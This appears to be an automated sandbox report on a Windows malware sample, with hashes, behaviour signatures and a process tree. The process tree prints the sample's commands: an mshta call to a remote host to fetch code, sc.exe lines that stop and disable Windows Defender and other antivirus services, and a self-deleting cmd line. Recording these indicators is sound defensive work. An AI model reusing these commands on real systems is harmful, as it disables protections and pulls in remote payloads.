Analysis
-
max time kernel
2s -
max time network
145s -
platform
windows10-2004_x64 -
resource
win10v2004-20231222-en -
resource tags
-
submitted
26-12-2023 12:09
General
-
Target
6d48c81bf597946b07b4bf4c79630962.exe
-
Size
2.1MB
-
MD5
6d48c81bf597946b07b4bf4c79630962
-
SHA1
ab483949eec58c7828ebd2a95138552b8528d518
-
SHA256
be07e191128ff79bf44c0f95917aebe3ff9c54cd2c59b9edeb41f7d87ee7107e
-
SHA512
5a07cbcec92cd0eb3f49ff0c830cada9c7a7631feef2c681a30338e00717e0932fbbee5ac7cbc5d55d4631676157244b31cf15e541c1c95f74e39d60d0914894
-
SSDEEP
49152:loCzN6HV8ZisMKT2hgRlQy6aSOo+Z4X2NHDy7WqXOpGAUh:rzwOohGNjy7FXkGAW
Malware Config
Extracted
http://galaint.staticstatinfo.in/?0=179&1=0&2=1&3=108&4=i&5=9200&6=6&7=2&8=919041&9=1033&10=0&11=1111&12=ahetrofxjr&14=1
Signatures
-
Stops running service(s) 3 TTPs
-
Executes dropped EXE 1 IoCs
-
UPX packed file 13 IoCs
Detects executables packed with UPX/modified UPX open source packer.
-
Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of SetWindowsHookEx 1 IoCs
-
Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\6d48c81bf597946b07b4bf4c79630962.exe"C:\Users\Admin\AppData\Local\Temp\6d48c81bf597946b07b4bf4c79630962.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\6D48C8~1.EXE" >> NUL2⤵
-
-
C:\Users\Admin\AppData\Roaming\Protector-ljik.exeC:\Users\Admin\AppData\Roaming\Protector-ljik.exe2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\mshta.exemshta.exe "http://galaint.staticstatinfo.in/?0=179&1=0&2=1&3=108&4=i&5=9200&6=6&7=2&8=919041&9=1033&10=0&11=1111&12=ahetrofxjr&14=1"3⤵
-
-
C:\Windows\SysWOW64\sc.exesc stop WinDefend3⤵
- Launches sc.exe
-
-
C:\Windows\SysWOW64\sc.exesc config GuardX start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\SysWOW64\sc.exesc stop GuardX3⤵
- Launches sc.exe
-
-
C:\Windows\SysWOW64\sc.exesc config AntiVirSchedulerService start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\SysWOW64\sc.exesc config AntiVirService start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\SysWOW64\sc.exesc stop AntiVirService3⤵
- Launches sc.exe
-
-
C:\Windows\SysWOW64\sc.exesc config ekrn start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\SysWOW64\sc.exesc config msmpsvc start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\SysWOW64\sc.exesc stop msmpsvc3⤵
- Launches sc.exe
-
-
C:\Windows\SysWOW64\sc.exesc config WinDefend start= disabled3⤵
- Launches sc.exe
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" res://ieframe.dll/navcancl.htm#http://showrealip.info/3⤵
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1500 CREDAT:17410 /prefetch:24⤵
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
15KB
MD51a545d0052b581fbb2ab4c52133846bc
SHA162f3266a9b9925cd6d98658b92adec673cbe3dd3
SHA256557472aeaebf4c1c800b9df14c190f66d62cbabb011300dbedde2dcddd27a6c1
SHA512bd326d111589d87cd6d019378ec725ac9ac7ad4c36f22453941f7d52f90b747ede4783a83dfff6cae1b3bb46690ad49cffa77f2afda019b22863ac485b406e8d
-
Filesize
15KB
MD56b8b8c80f8de9e0223bbc5c57d41c0f2
SHA154fcf9ae76be5f627346289054a33c165a0ffb4a
SHA2568fb37fce38ec2b6875b467f4ed54840c64fe13fc50d58dec36cfaf0d64931316
SHA512b5d0e2b24fc8a52cabef7e14a4a9a4e99c3c78ccbcff44e29e6da8e832c7023bb15fdbec2bee8c6f387c91140eb163c6a2aa9ae43b6d1a7335829f760aba1d7e
-
Filesize
27KB
MD5763089281d19006bee8c242e7b96201d
SHA1f70666daae414f1a07f70be48f85be542b0dc981
SHA256f22c9781ab36ec336c64a536b902ff62de928cee6914907eb19ae7c02e753251
SHA512bbfeb0a1c3946ea600aeeda56ef9fcca3cfa1aa07c5d2743b8c6bedfb5d6a1df765477c0d9dcd6018476347558765cf7ae6d75e50ff723592be57eea3c43fefa
-
Filesize
57KB
MD58b0774ae0efe8f47fecdb735a3ada611
SHA167bf4681bea9b25c9a2b646d58faf62e853aca7b
SHA256b37d2364fb56be586ebf37b0848f9aebdf250af0b54c864ebc7d12b7860dbf47
SHA51260b3fa873631192571ff44491ebdc3e8623c2657a4d8dfd73cf7453144b45e32e659e92c3eed264dd0a6baa2342eed44a5ea3ddfb63fa4db43aabdeb926bb55e
-
Filesize
5.5MB
-
Filesize
588KB
-
Filesize
960KB
-
Filesize
3.3MB
-
Filesize
3.3MB
-
Filesize
3.3MB
-
Filesize
3.3MB
-
Filesize
960KB
-
Filesize
588KB
-
Filesize
1.6MB
-
Filesize
100KB
-
Filesize
3.3MB
-
Filesize
3.3MB
-
Filesize
960KB
-
Filesize
3.3MB
-
Filesize
3.3MB
-
Filesize
3.3MB
-
Filesize
3.3MB
-
Filesize
960KB
-
Filesize
5.5MB
-
Filesize
1.4MB
-
Filesize
544KB
-
Filesize
5.5MB
-
Filesize
18.3MB
-
Filesize
108KB
-
Filesize
68KB
-
Filesize
3.3MB
-
Filesize
60KB
-
Filesize
588KB
-
Filesize
3.6MB
-
Filesize
244KB
-
Filesize
404KB
-
Filesize
524KB
-
Filesize
588KB
-
Filesize
148KB
-
Filesize
2.5MB
-
Filesize
208KB
-
Filesize
40KB
-
Filesize
780KB
-
Filesize
1.9MB
-
Filesize
200KB
-
Filesize
288KB
-
Filesize
60KB
-
Filesize
128KB
-
Filesize
776KB
-
Filesize
3.3MB
-
Filesize
18.3MB
-
Filesize
60KB